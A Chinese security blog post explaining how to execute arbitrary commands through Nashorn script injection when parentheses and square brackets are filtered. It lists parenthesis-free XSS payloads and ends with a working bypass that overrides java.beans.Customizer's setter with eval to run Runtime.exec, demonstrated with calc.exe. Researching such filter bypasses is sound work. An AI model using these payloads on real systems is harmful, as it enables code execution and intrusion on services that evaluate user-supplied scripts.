昨天『代码审计』知识星球里有同学向我提了一个有趣的问题:
简单来说就是,在Java的Nashorn脚本中,如果不允许使用小括号(
、)
和中括号[
、]
,如何执行任意命令?
0x01 浏览器JavaScript无括号XSS {#0x01-javascriptxss}
我们知道,Nashorn脚本本质上是JavaScript,而无括号的XSS Payload其实是一个老问题了。因为JavaScript在执行函数的时候需要使用括号,所以解决问题的核心其实就是"如何不使用括号来执行函数"。
在浏览器上下文中,我们通常有这样一些思路来绕过对括号的限制:
- 使用ES6中的反引号代替括号,如``alert`23```
- 使用location和伪协议来执行代码,如
location.href='javascript:alert%281%29'
,这个方法我10年前曾在《利用location来变形我们的XSS Payload》这篇文章里详细介绍过 - 使用DOM相关方法写入HTML到页面,如
document.body.innerHTML=location.hash;
- 使用onerror和throw来变相执行函数,如
onerror=alert;throw 23;
基本所有对于括号的绕过方法,无论怎么变形最后都归结于上述4种思路,网上也有不少人整理过Payloads,可以参考:https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md。
但是,虽然都是JavaScript,但浏览器里的这些方法并不能套用到Nashorn中:
一是Nashorn并不支持ES6语法,二是其中没有DOM相关方法,三是上下文中也没有全局对象可以注册onerror。
0x02 Fastjson:我换个衣服你就不认识我了吗? {#0x02-fastjson}
既然JavaScript里的方法不能直接利用,我们还是需要回到Nashorn和Java中找方法。
先来做个实验,首先编写一个简单的User类,其中包含一个getter和一个setter:
package com.govuln.js;
public class User {
private String name;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
}
然后我们编写这样一段Nashorn脚本:
var user = new com.govuln.js.User;
user.name = "Bob";
print(user.name);
调试运行可以发现,User类的setter和getter被调用了:
所以在Nashorn脚本中,当执行赋值语句时,对象的setter会被调用;当获取属性时,对象的getter会被调用。在不借助括号的情况下,通过这两种方法可以执行函数。
好像很熟悉?提出这个问题的圈友好像已经意识到了这个问题的本质是什么,其实就是Fastjson反序列化漏洞换了个皮又粉墨登场了。
所以,第一种解决问题的方法就是直接利用Fastjson相关的利用链,由于网上已经有很多介绍文章了,这里不再赘述。
0x03 Nashorn与Java接口、抽象类的利用 {#0x03-nashornjava}
当然,Fastjson各个利用链都有自己的不足,有的需要连接外网,有的有Java版本限制,有的只能写文件,有的依赖第三方库。如果想要找一种更通用的利用方法,还得继续深入研究。
在阅读Nashorn的文档时,我发现一个有趣的语法:https://docs.oracle.com/en/java/javase/11/scripting/using-java-scripts.html
Nashorn支持在JavaScript中实现Java的接口和抽象类,并提供了一个特殊的语法:
var r = new java.lang.Runnable() {
run: function() {
print("running...\n");
}
};
由于调用无参构造函数可以省略括号,上述代码可以省略成这样的代码:
var r = new java.lang.Runnable {
run: print
};
如果有方法可以调用到r对象的run方法,不就等于调用了print函数吗?
再结合我们在0x02中学习到的setter方法,我们可以尝试在Java中找到一个接口或抽象类,其包含setter,我将这个setter重写成eval函数,就可以在执行赋值语句的时候执行任意代码了。
快速找到符合条件的setter,我们可以借助CodeQL或者Tabby,因为我们这次的目标非常简单,人工找甚至也可以。比如这个java.beans.Customizer
接口:
public interface Customizer {
/**
* Set the object to be customized. This method should be called only
* once, before the Customizer has been added to any parent AWT container.
* @param bean The object to be customized.
*/
void setObject(Object bean);
/**
* Register a listener for the PropertyChange event. The customizer
* should fire a PropertyChange event whenever it changes the target
* bean in a way that might require the displayed properties to be
* refreshed.
*
* @param listener An object to be invoked when a PropertyChange
* event is fired.
*/
void addPropertyChangeListener(PropertyChangeListener listener);
/**
* Remove a listener for the PropertyChange event.
*
* @param listener The PropertyChange listener to be removed.
*/
void removePropertyChangeListener(PropertyChangeListener listener);
}
其就包含一个setObject()
方法,且参数是一个Object,我可以传入任意类型的数据。
使用它来构造最终的Nashorn脚本如下:
var a = new java.beans.Customizer {
setObject: eval
}
a.object = "java.lang.Runtime.getRuntime\50\51.exec\50'calc.exe'\51";
执行成功弹出计算器:
0x04 总结 {#0x04}
本文介绍了如何在不使用小括号、中括号的情况下,利用Nashorn脚本特性构造了一个结合JavaScript和Java两门语言特点的Payload,最终执行任意代码和命令的方法。
由于最初『代码审计』里这位圈友给的问题很简单,不知是否还有其他限制条件,是否能最终解决他的问题,让我赚到8块钱🤣。但光就这个场景的绕过方法,其实也挺有意思的。
参考资料: